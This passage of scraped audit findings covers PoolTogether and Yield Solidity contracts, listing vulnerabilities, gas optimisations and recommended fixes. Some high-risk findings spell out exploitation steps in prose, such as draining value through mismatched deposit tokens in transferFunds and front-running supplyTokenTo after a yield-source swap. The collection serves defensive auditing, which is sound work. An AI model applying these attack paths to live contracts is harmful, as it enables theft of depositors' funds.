[SwappableYieldSource.sol#L98](https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L98) [SwappableYieldSource.sol#L219](https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L219) ## Recommended Mitigation Steps Change `public` to `external` in the referenced functions. "}, {"title": "Use `abi.encodePacked` for gas optimization", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact Changing the `abi.encode` function to `abi.encodePacked` at line 77 of `SwappableYieldSource` can save gas since the `abi.encode` function pads extra null bytes at the end of the call data, which is unnecessary. Also, in general, `abi.encodePacked` is more gas-efficient. ## Proof of Concept Referenced code: [SwappableYieldSource.sol#L77](https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L77) [Solidity-Encode-Gas-Comparison](https://github.com/ConnorBlockchain/Solidity-Encode-Gas-Comparison) ## Recommended Mitigation Steps Change `abi.encode` to `abi.encodePacked` at line 77. "}, {"title": "Inconsistent balance when supplying transfer-on-fee or deflationary tokens", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact The `supplyTokenTo` function of `SwappableYieldSource` assumes that `amount` of `_depositToken` is transferred to itself after calling the `safeTransferFrom` function (and thus it supplies `amount` of token to the yield source). However, this may not be true if the `_depositToken` is a transfer-on-fee token or a deflationary/rebasing token, causing the received amount to be less than the accounted amount. ## Proof of Concept Referenced code: [SwappableYieldSource.sol#L211-L212](https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L211-L212) ## Recommended Mitigation Steps Get the actual received amount by calculating the difference of token balance before and after the transfer. For example, re-writing line 211-212 to: ```solidity uint256 balanceBefore = _depositToken.balanceOf(address(this)); _depositToken.safeTransferFrom(msg.sender, address(this), amount); uint256 receivedAmount = _depositToken.balanceOf(address(this)) - balanceBefore; yieldSource.supplyTokenTo(receivedAmount, address(this)); ``` "}, {"title": "Yield sources cannot be swapped back", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "Yield sources cannot be swapped back"}, {"title": "Use of safeApprove will always cause approveMax to revert", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Unlike SwappableYieldSource which uses safeIncreaseAllowance to increase the allowance to uint256.max, mStableYieldSource uses OpenZeppelin\u2019s safeApprove() which has been documented as 1) Deprecated because of approve-like race condition and 2) To be used only for initial setting of allowance (current allowance == 0) or resetting to 0 because it reverts otherwise. The usage here is intended to allow increase of allowance when it falls low similar to the documented usage in SwappableYieldSource. Using it for that scenario will not work as expected because it will always revert if current allowance is != 0. The initial allowance is already set as uint256.max in constructor. And once it gets reduced, it can never be increased using this function unless it is invoked when allowance is reduced completely to 0. ## Proof of Concept https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L60-L65 https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L51 https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L135-L143 https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/081776bf5fae2122bfda8a86d5369496adfdf959/contracts/token/ERC20/utils/SafeERC20Upgradeable.sol#L37-L57 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use logic similar to SwappableYieldSource instead of using safeApprove(). "}, {"title": "Overly permissive access control lets anyone approve max amount", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Overly permissive access control to lets anyone approve max amount. This may be ok but is inconsistent with SwappableYieldSource.sol where the similar function is onlyOwner. ## Proof of Concept https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L61-L65 https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L133-L135 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check requirements/spec and ensure this is ok or else add Ownable inheritance to enforce onlyOwner for this function. "}, {"title": "onlyOwner for approveMaxAmount() is risky", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "onlyOwner for approveMaxAmount() is risky"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "mStableYieldSource", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "Missing zero-address checks"}, {"title": "Single-step process for critical ownership transfer/renounce is risky", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/40", "labels": ["bug", "2 (Med Risk)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "Single-step process for critical ownership transfer/renounce is risky"}, {"title": "Initialization function can be front-run with malicious values", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/39", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "Initialization function can be front-run with malicious values"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details For the arithmetic operations that will never over/underflow, using the unchecked directive (Solidity v0.8 has default overflow/underflow checks) can save some gas from the unnecessary internal over/underflow checks. For example: 1. https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L114-L114 ```solidity uint256 startIndex = rewardsLength - 1; ``` `rewardsLength - 1` will never underflow. 2. https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexYieldWrapper.sol#L82-L85 ```solidity=82 bool isLast = i == vaultsLength - 1; if (!isLast) { vaults_[i] = vaults_[vaultsLength - 1]; } ``` "}, {"title": "Redundant zero-address check", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The zero-address check on owner is present even in transferOwnership() which makes it redundant. ## Proof of Concept https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L110 https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/081776bf5fae2122bfda8a86d5369496adfdf959/contracts/access/OwnableUpgradeable.sol#L68 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove explicit check to rely on the one in transferOwnership(). "}, {"title": "Changing function visibility from public to external can save gas", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Assuming the initialize() function is going to be called from a deployment script, its visibility can be made external. For public functions, the input parameters are copied to memory automatically which costs gas. If a function is only called externally, making its visibility as external will save gas because external function\u2019s parameters are not copied into memory and are instead read from calldata directly. ## Proof of Concept https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L98-L104 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change visibility to external. "}, {"title": "SwappableYieldSource: setYieldSource() should check no deposited tokens in current yield source", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "SwappableYieldSource: setYieldSource() should check no deposited tokens in current yield source"}, {"title": "SwappableYieldSource: Missing same deposit token check in transferFunds()", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/29", "labels": ["bug", "3 (High Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `transferFunds()` will transfer funds from a specified yield source `_yieldSource` to the current yield source set in the contract `_currentYieldSource`. However, it fails to check that the deposit tokens are the same. If the specified yield source's assets are of a higher valuation, then a malicious owner or asset manager will be able to exploit and pocket the difference. ### Proof of Concept Assumptions: - `_yieldSource` has a deposit token of WETH (18 decimals) - `_currentYieldSource` has a deposit token of DAI (18 decimals) - 1 WETH > 1 DAI (definitely true, I'd be really sad otherwise) Attacker does the following: 1. Deposit 100 DAI into the swappable yield source contract 2. Call `transferFunds(_yieldSource, 100 * 1e18)` - `_requireDifferentYieldSource()` passes - `_transferFunds(_yieldSource, 100 * 1e18)` is called - `_yieldSource.redeemToken(_amount);` \u2192 This will transfer 100 WETH out of the `_yieldSource` into the contract - `uint256 currentBalance = IERC20Upgradeable(_yieldSource.depositToken()).balanceOf(address(this));` \u2192 This will equate to \u2265 100 WETH. - `require(_amount <= currentBalance, \"SwappableYieldSource/transfer-amount-different\");` is true since both are `100 * 1e18` - `_currentYieldSource.supplyTokenTo(currentBalance, address(this));` \u2192 This supplies the transferred 100 DAI from step 1 to the current yield source - We now have 100 WETH in the swappable yield source contract 3. Call `transferERC20(WETH, attackerAddress, 100 * 1e18)` to withdraw 100 WETH out of the contract to the attacker's desired address. ### Recommended Mitigation Steps `_requireDifferentYieldSource()` should also verify that the yield sources' deposit token addresses are the same. ```jsx function _requireDifferentYieldSource(IYieldSource _yieldSource) internal view { require(address(_yieldSource) != address(yieldSource), \"SwappableYieldSource/same-yield-source\"); require(_newYieldSource.depositToken() == yieldSource.depositToken(), \"SwappableYieldSource/different-deposit-token\"); } ``` "}, {"title": "SwappableYieldSource.sol: Wrong reporting amount in FundsTransferred() event", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `FundsTransferred()` event in `_transferFunds()` will report a smaller amount than expected if `currentBalance > _amount`. This would affect applications utilizing event logs like subgraphs. ### Recommended Mitigation Steps Update the event emission to `emit FundsTransferred(_yieldSource, currentBalance);` "}, {"title": "SwappableYieldSource.sol: Shorten revert messages", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "SwappableYieldSource.sol: Shorten revert messages"}, {"title": "SwappableYieldSource.sol: Save depositToken as a storage variable", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact Assuming that `depositToken` of a yield source doesn't change, it would make sense to save its value as a storage variable in the contract as well, so that an external call to `yieldSource` to retrieve it can be avoided whenever it is needed. ### Recommended Mitigation Steps Define `address public override depositToken;` or `IERC20Upgradeable public depositToken;` which gets initialized in the `initialize()` function. The nice thing is that it also doesn't need to be updated when swapping sources because a requirement is that the new yield source must have the same deposit token. As an optimization, since the `_requireYieldSource()` function already retrieves the `depositToken` address, it can return it so that its value need not be externally retrieved again in the `initialize()` function. The `depositToken()` function can be removed if the former suggestion is implemented (ie. `address public override depositToken`). Then, `yieldSource.depositToken()` can be replaced with `depositToken` where applicable (with appropriate casting). A part of the former implementation is provided below. ```jsx address public override depositToken; function initialize(...) { address depositTokenAddress = _requireYieldSource(_yieldSource); yieldSource = _yieldSource; depositToken = depositTokenAddress; ... IERC20Upgradeable(depositTokenAddress).safeApprove(address(_yieldSource), type(uint256).max); } function _requireYieldSource(IYieldSource _yieldSource) internal view returns (address depositTokenAddress) { ... (depositTokenAddress) = abi.decode(depositTokenAddressData, (address)); } // function depositToken() can be removed // yieldSource.depositToken() can be replaced with depositToken in other functions // Example: _setYieldSource function _setYieldSource(IYieldSource _newYieldSource) internal { _requireDifferentYieldSource(_newYieldSource); // Commented out check below should be shifted to inside _requireDifferentYieldSource() // Optimization: it can also return depositToken to avoid another SLOAD // similar to _requireYieldSource() above // require(_newYieldSource.depositToken() == depositToken, \"SwappableYieldSource/different-deposit-token\"); yieldSource = _newYieldSource; IERC20Upgradeable(depositToken).safeApprove(address(_newYieldSource), type(uint256).max); emit SwappableYieldSourceSet(_newYieldSource); } ``` "}, {"title": "MStableYieldSource.sol: Optimise balanceOf()", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "MStableYieldSource.sol: Optimise balanceOf()"}, {"title": "MStableYieldSource.sol: approveMax can use mAsset instead of savings.underlying()", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The immutable `mAsset` is assigned to the immutable `savings` contract. Hence, we can avoid an external function call to the savings contract in the `approveMax` function by replacing it with `mAsset`. ### Recommended Mitigation Steps ```jsx function approveMax() public { mAsset.safeApprove(address(savings), type(uint256).max); emit ApprovedMax(msg.sender); } ``` "}, {"title": "Increase Solc Optimiser Runs", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "Increase Solc Optimiser Runs"}, {"title": "Lack of zero address validation in _requireDifferentYieldSource()", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "Lack of zero address validation in _requireDifferentYieldSource()"}, {"title": "Amount should > 0 in supplyToken() and RedeemToken() in SwappableYieldSource.sol", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "Amount should > 0 in supplyToken() and RedeemToken() in SwappableYieldSource.sol"}, {"title": "No input validation for while setting up value for immutable state variables", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Since immutable state variable cant be change after initialization in constructor, their value should be checked before initialization constructor(ISavingsContractV2 _savings) ReentrancyGuard() { // @audit --> there should be a input validation // As immutable storage variables can not be accessed in the constructor, // create in-memory variables that can be used instead. IERC20 mAssetMemory = IERC20(_savings.underlying()); // infinite approve Savings Contract to transfer mAssets from this contract mAssetMemory.safeApprove(address(_savings), type(uint256).max); // save to immutable storage savings = _savings; mAsset = mAssetMemory; emit Initialized(_savings); } ## Proof of Concept https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L45 ## Tools Used no tool used ## Recommended Mitigation Steps add a require condition to validate input values "}, {"title": "onlyOwnerOrAssetManager can swap Yield Source in SwappableYieldSource at any time, immediately rugging all funds from old yield source", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/14", "labels": ["bug", "3 (High Risk)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "onlyOwnerOrAssetManager can swap Yield Source in SwappableYieldSource at any time, immediately rugging all funds from old yield source"}, {"title": "SwappableYieldSource._requireYieldSource is not a guarantee that you are interacting with a valid yield source", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/11", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "SwappableYieldSource._requireYieldSource is not a guarantee that you are interacting with a valid yield source"}, {"title": "[MStableYieldSource.sol] Public functions that should be declared as external to save gas", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle maplesyrup # Vulnerability details ## Impact This is a gas optimization, does not affect the contract negatively, only optimizes it. ## Proof of Concept According to Slither Analyzer documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external), functions that are never called within the contract should be declared as external to save gas for the contract. In this case, there were only 2 functions in the contract that were found that should be declared as external for further gas optimization. ----------- Code Snippet: function approveMax() public {...} <---- should be declared external (contracts/yield-source/MStableYieldSource.sol, lines #61-65) function depositToken() public view override returns (address underlyingMasset) {...} <---- should be declared external (contracts/yield-source/MStableYieldSource.sol, lines #69-71) ------------ Console output: INFO:Detectors: approveMax() should be declared external: - MStableYieldSource.approveMax() (contracts/yield-source/MStableYieldSource.sol#61-65) depositToken() should be declared external: - MStableYieldSource.depositToken() (contracts/yield-source/MStableYieldSource.sol#69-71) Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external ## Tools Used PoolTogether Contracts Solidity (v 0.7.4) Hardhat (v 2.5.0) Yarn (v 1.22.10) Slither Analyzer (v 0.8.0) ## Recommended Mitigation Steps 1. Clone repository for PoolTogether Smart Contracts 2. Create a python virtual environment with a stable python version 3. Install Slither Analyzer on the python VEM 4. Run Slither against all contracts via artifacts "}, {"title": "Variable name or isInvalidYieldSource is confusion", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/8", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _requireYieldSource of the contract SwappableYieldSource has a state variable: isInvalidYieldSource You would expect isInvalidYieldSource == true would mean the yield source in invalid However in the source code isInvalidYieldSource == true mean the yield source is valid. This is confusing for readers and future maintainers. Future maintainers could easily make a mistake and thus introduce vulnerabilities. ## Proof of Concept // https://github.com/pooltogether/swappable-yield-source/blob/main/contracts/SwappableYieldSource.sol#L74 function _requireYieldSource(IYieldSource _yieldSource) internal view { require(address(_yieldSource) != address(0), \"SwappableYieldSource/yieldSource-not-zero-address\"); (, bytes memory depositTokenAddressData) = address(_yieldSource).staticcall(abi.encode(_yieldSource.depositToken.selector)); bool isInvalidYieldSource; if (depositTokenAddressData.length > 0) { (address depositTokenAddress) = abi.decode(depositTokenAddressData, (address)); isInvalidYieldSource = depositTokenAddress != address(0); } require(isInvalidYieldSource, \"SwappableYieldSource/invalid-yield-source\"); } ## Tools Used ## Recommended Mitigation Steps Change isInvalidYieldSource to isValidYieldSource "}, {"title": "_requireYieldSource not always called", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "_requireYieldSource not always called"}, {"title": "yield source token can be transferred by owner/assetmanager", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor acknowledged"], "target": "2021-07-pooltogether-findings", "body": "yield source token can be transferred by owner/assetmanager"}, {"title": "setYieldSource leads to temporary wrong results", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/4", "labels": ["bug", "3 (High Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The use of setYieldSource leaves the contract in a temporary inconsistent state because it changes the underlying yield source, but doesn't (yet) transfer the underlying balances, while the shares stay the same. The function balanceOfToken will show the wrong results, because it is based on _sharesToToken, which uses yieldSource.balanceOfToken(address(this)), that isn't updated yet. More importantly supplyTokenTo will give the wrong amount of shares back: First it supplies tokens to the yieldsource. Then is calls _mintShares, which calls _tokenToShares, which calculates the shares, using yieldSource.balanceOfToken(address(this)) This yieldSource.balanceOfToken(address(this)) only contains the just supplied tokens, but doesn't include the tokens from the previous YieldSource. So the wrong amount of shares is given back to the user; they will be given more shares than appropriate which means they can drain funds later on (once transferFunds has been done). It is possible to make use of this problem in the following way: - monitor the blockchain until you see setYieldSource has been done - immediately call the function supplyTokenTo (which can be called because there is no access control on this function) ## Proof of Concept // https://github.com/pooltogether/swappable-yield-source/blob/main/contracts/SwappableYieldSource.sol function setYieldSource(IYieldSource _newYieldSource) external onlyOwnerOrAssetManager returns (bool) { _setYieldSource(_newYieldSource); function _setYieldSource(IYieldSource _newYieldSource) internal { .. yieldSource = _newYieldSource; function supplyTokenTo(uint256 amount, address to) external override nonReentrant { .. yieldSource.supplyTokenTo(amount, address(this)); _mintShares(amount, to); } function _mintShares(uint256 mintAmount, address to) internal { uint256 shares = _tokenToShares(mintAmount); require(shares > 0, \"SwappableYieldSource/shares-gt-zero\"); _mint(to, shares); } function _tokenToShares(uint256 tokens) internal returns (uint256) { uint256 shares; uint256 _totalSupply = totalSupply(); .. uint256 exchangeMantissa = FixedPoint.calculateMantissa(_totalSupply, yieldSource.balanceOfToken(address(this))); // based on incomplete yieldSource.balanceOfToken(address(this)) shares = FixedPoint.multiplyUintByMantissa(tokens, exchangeMantissa); function balanceOfToken(address addr) external override returns (uint256) { return _sharesToToken(balanceOf(addr)); } function _sharesToToken(uint256 shares) internal returns (uint256) { uint256 tokens; uint256 _totalSupply = totalSupply(); .. uint256 exchangeMantissa = FixedPoint.calculateMantissa(yieldSource.balanceOfToken(address(this)), _totalSupply); // based on incomplete yieldSource.balanceOfToken(address(this)) tokens = FixedPoint.multiplyUintByMantissa(shares, exchangeMantissa); ## Tools Used ## Recommended Mitigation Steps Remove the function setYieldSource (e.g. only leave swapYieldSource) Or temporally disable actions like supplyTokenTo, redeemToken and balanceOfToken, after setYieldSource and until transferFunds has been done "}, {"title": "Old yield source still has infinite approval", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/3", "labels": ["bug", "2 (Med Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle tensors # Vulnerability details ## Impact After swapping a yield source, the old yield source still has infinite approval. Infinite approval has been used in large attacks if the yield source isn't perfectly safe (see furucombo). ## Proof of Concept https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L268 ## Recommended Mitigation Steps Decrease approval after swapping the yield source. "}, {"title": "Some tokens do not have decimals.", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle tensors # Vulnerability details ## Impact There are a few tokens out there that do not use any decimals. As far as I know none of them would be a good yield source, but just in case something comes out, you may want to include the possibility that decimals = 0. ## Proof of Concept https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L116 ## Recommended Mitigation Steps Remove the require statement. "}, {"title": "Sponsored event not used", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "mStableYieldSource", "sponsor confirmed", "disagree with severity"], "target": "2021-07-pooltogether-findings", "body": "# Handle tensors # Vulnerability details ## Impact The sponsored event is declared but never used. ## Proof of Concept https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L27 ## Recommended Mitigation Steps Remove the unused event. "}, {"title": "Rewards accumaulated can stay constant and oftern not increment", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/65", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "disagree with severity", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "Rewards accumaulated can stay constant and oftern not increment"}, {"title": "Rewards squatting - setting rewards in different ERC20 tokens opens various economic attacks. ", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/64", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle moose-code # Vulnerability details ## Impact Users have essentially have an option to either claim currently earned reward amounts on future rewards tokens, or the current rewards token. Although stated on line 84, it does not take into account the implications and lock in this contract will have on the future value of new tokens able to be issued via rewards. ## Proof of Concept Smart users will monitor the mempool for setRewards transactions. If the new reward token (token b) is less valuable than the old reward token (token a), they front run this transaction by calling claim. Otherwise they let their accrued 'token a' roll into rewards of of the more valuable 'token b'. Given loads of users will likely hold these tokens from day 1, there will potentially be thousands of different addresses squatting on rewards. Economically, given the above it makes sense that the value of new reward tokens, i.e. 'token b' should always be less than that of 'token a'. This is undesirable in a rewards token contract as there is no reliable way to start issuing a more valuable token at a later stage, unless exposing yourself to a major risk of reward squatting. i.e. You could not in future say we want to run a rewards period of of issuing an asset like WETH rewards for 10 days, after first initially issuing DAI as a reward. This hamstrings flexibility of the contract. P.s. This is one of the slickest contracts I've read. Love how awesome it is.Just believe this should be fixed, then its good to go. ## Tools Used Manual analysis ## Recommended Mitigation Steps It is true you could probably write a script to manually go call 'claim' on thousands of squatting token addresses but this is a poor solution. A simple mapping pattern could be used with an index mapping to a reward cycle with a reward token and a new accumulative etc. Users would likely need to be given a period a to claim from old reward cycles before their token balance could no longer reliably used to calculate past rewards. The would still be able to claim everything up until their last action (even though this may be before the rewards cycle ended). "}, {"title": "Timelock.sol: Indexing targets array might not be useful", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "EmergencyBrake", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact As per the [solidity documentation](https://docs.soliditylang.org/en/v0.8.1/abi-spec.html?highlight=events#events): However, for all \u201ccomplex\u201d types or types of dynamic length, including all arrays, string, bytes and structs, EVENT_INDEXED_ARGS will contain the Keccak hash of a special in-place encoded value (see Encoding of Indexed Event Parameters), rather than the encoded value directly. It therefore might not be useful to index `address[] targets` in `Timelock.sol` and `address[] contacts` in `EmergencyBrake.sol`, since it's the keccak hash of the addresses. [Also saves gas to drop the indexed keyword](https://ethereum.stackexchange.com/questions/56486/does-it-make-a-difference-to-index-an-event-with-one-parameter/56491). ### Recommended Mitigation Steps Remove the `indexed` keyword for the arguments mentioned above. "}, {"title": "Methods should be external instead of public", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/61", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact As brought up in a [previous audit issue](https://github.com/code-423n4/2021-05-yield-findings/issues/4), \"the suggestion of changing all public auth functions to external auth will be applied\". The same should therefore be done for the new contracts `Strategy.sol` and `ERC20Rewards.sol`, since all public methods in it aren't called internally. "}, {"title": "ERC20Rewards.sol: Unnecessary return argument for _updateRewardsPerToken()", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/60", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `uint128` output by `_updateRewardsPerToken()` isn't used by any function. Furthermore, L107 returns a wrong value. `if (_totalSupply == 0 || block.timestamp.u32() < rewardsPeriod.start) return 0;` It should return `rewardsPerToken_.accumulated` instead, because in the case of a new rewards schedule being set, `rewardsPeriod.start` is updated to a new timestamp. Hence, the current accumulated value of all previous reward schedules thus far should be returned. ### Recommended Mitigation Steps Since the return value isn't used anywhere, remove it. "}, {"title": "ERC20Rewards.sol: latest() is unused", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `latest()` function is unused and can be removed. ### Recommended Mitigation Steps Remove L68-L71 "}, {"title": "ERC20Rewards.sol: Have a method to calculate the latest rewardsPerToken accumulated 